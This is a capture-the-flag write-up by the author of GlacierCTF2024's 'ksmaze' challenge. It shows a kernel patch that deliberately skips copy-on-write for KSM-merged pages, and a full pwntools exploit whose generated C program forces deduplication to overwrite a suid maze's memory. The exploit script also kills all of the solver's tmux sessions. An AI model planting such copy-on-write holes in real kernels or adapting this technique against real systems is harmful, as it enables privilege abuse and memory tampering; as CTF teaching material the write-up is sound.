GlacierCTF2024 - ksmaze

Author: Ernesto Martínez García

Tags: ctf rev

ksmaze is a linux kernel related challenge I authored in GlacierCTF2024. It had 1 solve 2h before the end of the 24h CTF. It categorizes in the hard side of the challenges.

You have the original CTFd distfile with a locally deployable version in [3]

The challenge is an unprivileged SSH instance of qemu running a custom rootfs and kernel:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

[ecomaikgolf@laptop ~/]$ nc 78.47.52.31 1337
[+] Please solve the following PoW (apt install hashcash):
[$] hashcash -mb29 -r tjkcjhhqniei
[>] Hashcash token: [...]
[+] Proof of Work passed

Press [ENTER] to start the instance

[+] Generating personal access key...

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACArqc/cNxvAEV3aCJ4igsyosNpDfEU2IZWGl5MhYvH2uwAAAJAfcmsLH3Jr
CwAAAAtzc2gtZWQyNTUxOQAAACArqc/cNxvAEV3aCJ4igsyosNpDfEU2IZWGl5MhYvH2uw
AAAEDWURNk8XZ98EeiheeUt17ptV93x7XaoLnVMt1ZNxOq1yupz9w3G8ARXdoIniKCzKiw
2kN8RTYhlYaXkyFi8fa7AAAAC3BsYXllckBnY3RmAQI=
-----END OPENSSH PRIVATE KEY-----

[+] 1. Paste the key to a file 'key'
[+] 2. Fix key permissions with 'chmod 600 key'
[+] 3. Wait 10-30 seconds for the system to boot
[+] 4. Clean known_hosts with ssh-keygen -R "[78.47.52.31]:20743"
[+] 5. Connect with 'ssh -p20743 -i key user@78.47.52.31'
[+] 6. Copy exploit files with 'scp -P 20743 -i key ./LOCALEXPLOIT user@78.47.52.31:~/'

[+] You have 500 seconds to solve it. Avoid timeouts by running it locally.

Press [ENTER] to stop the instance

We are running unprivileged and in a custom kernel:

1
2
3
4
5

$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$ uname -r
5.10.230-ksmaze
$

There’s a suid binary in /bin/ksmaze for which we got the binary only. We also get the original and modified vmlinux and bzImage:

1
2
3
4
5
6
7

.
├── modified
│   ├── bzImage
│   └── vmlinux
└── original
    ├── bzImage
    └── vmlinux

When interacting with ksmaze, we get an ncurses maze which we can interact with WASD:

You can obtain points, but obtaining the flag F is impossible as it’s always blocked by enemies and borders.

Now we would have to start the reversing part. There’s probably a lot of ways of arriving to the same conclusions, I’m just going to find how I would think about the challenge.

The running kernel has some backdoor that ksmaze can exploit, I would just take a quick look at ksmaze but probably everything looks sane and the vulnerability is somewhere in the kernel and ksmaze uses it. We could also look in ksmaze for unusual things, but we’ll start with the kernel images.

Also, the kernel version was the latest at the time of challenge release, so it wouldn’t have seem that a Nday would have been the intended solution. It’s probably a modification in the kernel image.

As we get two kernel images (modified and original), we should go straight to bindiff. We got vmlinux, so we’ll convert it to an ELF and load it into IDA for maximum convenience.

We can convert it to an elf with [1]:

1
2

vmlinux-to-elf original/vmlinux vmlinux-original-elf
vmlinux-to-elf modified/vmlinux vmlinux-modified-elf

we wait until analysis completes, save both databases and bindiff original against modified.

After waiting until bindiff finishes, we’ll see that the only function with a similarity < 1.00 is… do_wp_page :)

And there we could start reversing the patch with bindiff, diaphora, etc.

The diff corresponds to the following patch:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20

diff -Naur a/mm/memory.c b/mm/memory.c
--- a/mm/memory.c	2024-10-17 15:08:39.000000000 +0200
+++ b/mm/memory.c	2024-10-27 14:41:06.477944638 +0100
@@ -3158,6 +3158,8 @@
 	if (PageAnon(vmf->page)) {
 		struct page *page = vmf->page;
 
+		if (PageKsm(page))
+			goto fini;
 		/* PageKsm() doesn't necessarily raise the page refcount */
 		if (PageKsm(page) || page_count(page) != 1)
 			goto copy;
@@ -3173,6 +3175,7 @@
 		* it's dark out, and we're wearing sunglasses. Hit it.
 		*/
 		unlock_page(page);
+fini:
 		wp_page_reuse(vmf);
 		return VM_FAULT_WRITE;
 	} else if (unlikely((vma->vm_flags & (VM_WRITE|VM_SHARED)) ==

The patch skips the CoW when a KSM page gets a write protection fault. KSM stands for Kernel Samepage Merging, its a mechanism in the linux kernel for deduplicating equivalent pages. You can see this behaviour is enabled in /sys/kernel/mm/ksm/run. You could also check in the qcow2 there’s a script enabling it at startup.

This also matches with the name: ksmaze, KSMaze.

Pages are marked for deduplication with madvise(ptr, size, MADV_MERGEABLE), we can open ksmaze in ida and check for references for madvise:

Seems that it’s used at the constuctor of the maze:

1
2
3
4

//...
  v6[3969] = '@';
  madvise(v6, 0x1000uLL, 12);
}

As we can see v6 is the maze and we end the constructor by putting the player @ in the maze and marking the maze for deduplication (12 is `MADV_MERGEABLE). That’s why its a next-generation kernel-optimized maze!

1

# define MADV_MERGEABLE	  12	/* KSM may merge identical pages.  */

Quick recap:

I guess one could have guessed the next step without actually reverse engineering the patch.

Now that we know we won’t do CoW on KSM wp faults, we can force a deduplication from a regular user-provided program and modify maze’s memory.

  1. Open and parse the maze
  2. Allocate page aligned memory
  3. Write the parsed maze memory to it
  4. Mark our allocated page as MADV_MERGEABLE with madvise
  5. Wait for deduplication to occur (seconds)
  6. Modify our memory with all F’s or no border/enemies.
  7. Move our char in the maze, the underlying memory will be our modified version

Here’s an automated exploit file, uses [2] to interact with ncurses via pwntools (not needed for solving, just automation):

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host localhost --port 1337
from pwn import *
from sys import stdout
from subprocess import Popen, PIPE
import os
import re
from tmuxio import *
import re
from pathlib import Path


# Set up pwntools for the correct architecture
context.update(arch='amd64')
# Just set TERM_PROGRAM in your ~/.profile!
# context.update(terminal='CHANGEME')
#exe = context.binary = ELF(args.EXE or 'challenge')
host = args.HOST or 'localhost'
port = int(args.PORT or 1337)

# Find flag by exact match or format
# log.success(find_flag(io.recvall()))
real_flag = open("./flag.txt", "r").readline().strip()
fake_flag = open("./flag-fake.txt", "r").readline().strip()
def find_flag(output):
    if not isinstance(output, str):
        output = output.decode(errors="ignore")
    # Match real flag
    if real_flag in output:
        return real_flag
    # Match fake flag
    if fake_flag in output:
        return fake_flag
    # Match possible local flag
    with open("/flag.txt", "r") as local:
        locl_flag = local.readline().strip()
        if locl_flag in output:
            return locl_flag
    # Match regexp flag
    r = find_flag_fmt(output)
    if r is not None:
        return r
    # Definitely no flag found
    return None

# Find flag by format
# log.success(find_flag_fmt(io.recvall()))
ffmt = re.compile(r"gctf{.*}")
def find_flag_fmt(output):
    if not isinstance(output, str):
        output = output.decode(errors="ignore")
    m = ffmt.search(output)
    if m is None:
        return None
    return m.group(0)

def start_remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    return start_remote(argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
continue
'''.format(**locals())

tempdir = tempfile.TemporaryDirectory()

POW_BYPASS = None
def pass_pow(i):
    i.recvuntil(b"[$] ")
    hashcash = i.recvuntil(b"\n").decode().strip().split(" ")
    log.info(f"Received Proof of Work challenge: {hashcash}")

    token = ""
    if POW_BYPASS is not None:
        token = POW_BYPASS
        log.info("Bypassed Proof of Work")
    else:
        log.info("Solving Proof of Work, might take a while")
        process = Popen(hashcash, stdout=PIPE) # Yes, this is dangerous if server is malicious
        (output, err) = process.communicate()
        exit_code = process.wait()
        token = output.decode().removesuffix('hashcash token: ').strip()
        log.info(f"Solved Proof of Work: {token}")

    i.sendline(token.encode())

    a = i.recvline().decode()
    if a.find("Proof of work passed"):
        log.info("Server confirmed Proof of Work")
    elif a.find("Wrong") or a.find("invalid"):
        log.info("Failed Proof of Work")
        exit(1)

port_instance = None
def parse_and_get_ssh():
    global port_instance
    io.sendlineafter(b"Press [ENTER] to start the instance", b"")

    io.recvuntil(b"-----BEGIN OPENSSH PRIVATE KEY-----")
    key = "-----BEGIN OPENSSH PRIVATE KEY-----" + io.recvuntil(b"-----END OPENSSH PRIVATE KEY-----").decode()

    log.success(f"Got the key to connect:\n{key}")

    io.recvuntil(b"Connect with 'ssh -p")
    port_instance = io.recvline().decode().split()[0]

    log.success(f"Got the connection info: ssh -p{port_instance} -i {tempdir.name}/key user@{host}")

    with open(f'{tempdir.name}/key', 'w') as f:
        f.write(key)
        f.write('\n')
    os.chmod(f"{tempdir.name}/key", 0o600)

    #log.info("Sleeping 15 seconds to let the challenge to boot")
    sleep(15) # NOTE THIS IS NOT CLEAN AND COULD LEAD TO ISSUES (needs to be there)
    a = ['ssh', '-o', 'StrictHostKeyChecking=no', f'-p{port_instance}','-i', tempdir.name + '/key', f'user@{host}']

    s = tmuxio(a, x=128, y=64)
    assert s.tmux.has_session()
    return s

    #maze = io.capture_pane(start=0, end=200)
    #ssh(timeout=ssh.forever,
    #    user='user',
    #    host=host,
    #    port=int(port_instance),
    #    keyfile=f'{tempdir.name}/key',
    #    ignore_config=True
    #    )

WALL_C = b'#'
PLAY_C = b'@'
EMPT_C = b' '
COIN_C = b'.'
ENEM_C = b'&'
TREE_C = b'^'
FLAG_C = b'F'

MAZE_CHARS = [WALL_C, PLAY_C, EMPT_C, COIN_C, ENEM_C, TREE_C, FLAG_C]

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

io = start()

# Sorry if I fucked your setup XD
os.system("pkill tmux")

pass_pow(io)
log.success(f"Tempdir is {tempdir.name}")
s = parse_and_get_ssh()

sleep(5)

s.sendline(b"/bin/ksmaze")

test = None
while True:
    test = s.capture_pane()
    print("Debug:")
    print(hexdump(test))
    if b'^' in test and b'#' in test and b'@' in test:
        break
    log.info("Waiting until connection starts...")
    sleep(1)

log.success("Got the maze:")
maze = test.decode()
print(maze)

maze = maze.split('\n')
maze2 = []
for i in maze:
    maze2 += i[:64]
    maze2 = "".join(maze2)[:4096]

maze = maze2

#maze = maze2.replace("@", " ")

log.info(f"Generating deduplication code")

# C code that causes a deduplication
cpp_code = f"""
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#define SIZE 64*64
unsigned char *memory;
static unsigned char maze[SIZE+1] = "{maze}";
int main() {{
    memory = (unsigned char *)aligned_alloc(SIZE, SIZE);
    memcpy(memory, maze, SIZE);
    madvise(memory, SIZE, MADV_MERGEABLE);

    sleep(5);

    memset(memory, 'F', SIZE);

    sleep(800);
}}
"""

with open(f"{tempdir.name}/dedup_maze.cpp", "w") as f:
    f.write(cpp_code)

os.system(f"gcc -o {tempdir.name}/dedup {tempdir.name}/dedup_maze.cpp")
log.success(f"Generated deduplication binary on {tempdir.name}/dedup")

log.info("Opening another SSH connection to run it")
ssh = ssh(timeout=ssh.forever,
          user='user',
          host=host,
          port=int(port_instance),
          keyfile=f'{tempdir.name}/key',
          ignore_config=True)


ssh.put(f"{tempdir.name}/dedup", "/home/user/dedup")

sh = ssh.system('/bin/sh', env={'PS1':'', 'TERM':'xterm'})
sh.sendline(b"chmod +x /home/user/dedup")
sh.sendline(b"./dedup &")

# Give some time for KSM to work
sleep(5)

for i in range(20):
    s.send(b"w") # move our char to F
    test = s.capture_pane()
    f = find_flag(str(test))
    if f is not None:
        log.success(f"{f}")
        exit(0)
    sleep(1)

exit(1)

[1] https://github.com/marin-m/vmlinux-to-elf

[2] https://github.com/PaideiaDilemma/pwntools-tmuxio

[3] https://ls.ecomaikgolf.com/archives/glacierctf2024/ksmaze.tar.gz